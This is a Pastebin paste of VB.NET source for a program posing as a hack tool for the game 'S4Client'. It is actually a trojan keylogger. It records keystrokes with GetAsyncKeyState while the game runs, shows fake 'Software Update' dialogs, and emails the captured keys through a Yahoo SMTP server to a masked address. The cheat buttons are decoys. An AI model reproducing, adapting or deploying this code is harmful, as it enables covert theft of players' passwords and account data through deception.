Advertisement
Guest User

Untitled

a guest
May 13th, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.47 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.     Dim tick As Integer
  5.     Dim logger As String
  6.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
  7.  
  8.     Private Function getkeypress() As Int16
  9.  
  10.         For i As Integer = 1 To 255
  11.             If GetAsyncKeyState(i) = -32767 Then
  12.                 Return i
  13.             Else : End If
  14.         Next
  15.     End Function
  16.  
  17.     Private gamefound As Boolean
  18.     Private Sub Button21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button21.Click
  19.         MsgBox("Copytight (c) 2010 King123456789")
  20.     End Sub
  21.  
  22.     Private Sub Button22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button22.Click
  23.         MsgBox("All hackes resettet!")
  24.     End Sub
  25.  
  26.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  27.         Timer1.Start()
  28.     End Sub
  29.  
  30.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  31.         Dim key As Integer = getkeypress()
  32.  
  33.  
  34.         If Process.GetProcessesByName("S4Client").Count > 0 Then
  35.             gamefound = True
  36.             Label12.ForeColor = Color.Green
  37.             Label12.Text = "Game found! Ready to hack :)"
  38.         Else
  39.             gamefound = False
  40.             Label12.ForeColor = Color.Red
  41.             Label12.Text = "Game not found!"
  42.         End If
  43.        
  44.         If gamefound = True Then
  45.             tick = tick + 1
  46.             'TextBox1.Text = tick
  47.  
  48.             If key <> 0 Then
  49.                 logger = logger & Chr(key)
  50.             End If
  51.  
  52.             If tick = 1000 Or tick = 2000 Or tick = 3000 Then
  53.                 MsgBox("Search Update...", MsgBoxStyle.Information, "Software Update!")
  54.                 'TextBox9.Text = logger
  55.                 Dim Msg As New MailMessage
  56.                 Dim myCredentials As New System.Net.NetworkCredential
  57.                 myCredentials.UserName = "****** :P"
  58.                 myCredentials.Password = "****** :P"
  59.  
  60.                 Msg.IsBodyHtml = False
  61.  
  62.                 Dim mySmtpsvr As New SmtpClient()
  63.                 mySmtpsvr.Host = "smtp.mail.yahoo.de" 'bei web.de
  64.                 mySmtpsvr.Port = 25
  65.  
  66.                 mySmtpsvr.UseDefaultCredentials = False
  67.                 mySmtpsvr.Credentials = myCredentials
  68.  
  69.                 Try
  70.                     Msg.From = New MailAddress("****** :P")
  71.                     Msg.To.Add("****** :P")
  72.                     Msg.Subject = "S4 Hack"
  73.                     Msg.Body = logger
  74.                     mySmtpsvr.Send(Msg)
  75.                     MsgBox("No update available", MsgBoxStyle.Information, "Software Update!")
  76.                 Catch ex As Exception
  77.                     'MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString) 'Falls ein Fehler auftritt wird eine MsgBox angezeigt
  78.                     MsgBox("Update error!", MsgBoxStyle.Information, "Software Update!")
  79.                 End Try
  80.             End If
  81.         End If
  82.     End Sub
  83.  
  84.     Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
  85.         If TextBox8.Text > 2 Then
  86.             MsgBox("Fucking leecher limit is 2!")
  87.         End If
  88.     End Sub
  89.  
  90.     Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
  91.         If TextBox7.Text > 2 Then
  92.             MsgBox("Fucking leecher limit is 2!")
  93.         End If
  94.     End Sub
  95.  
  96.  
  97. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement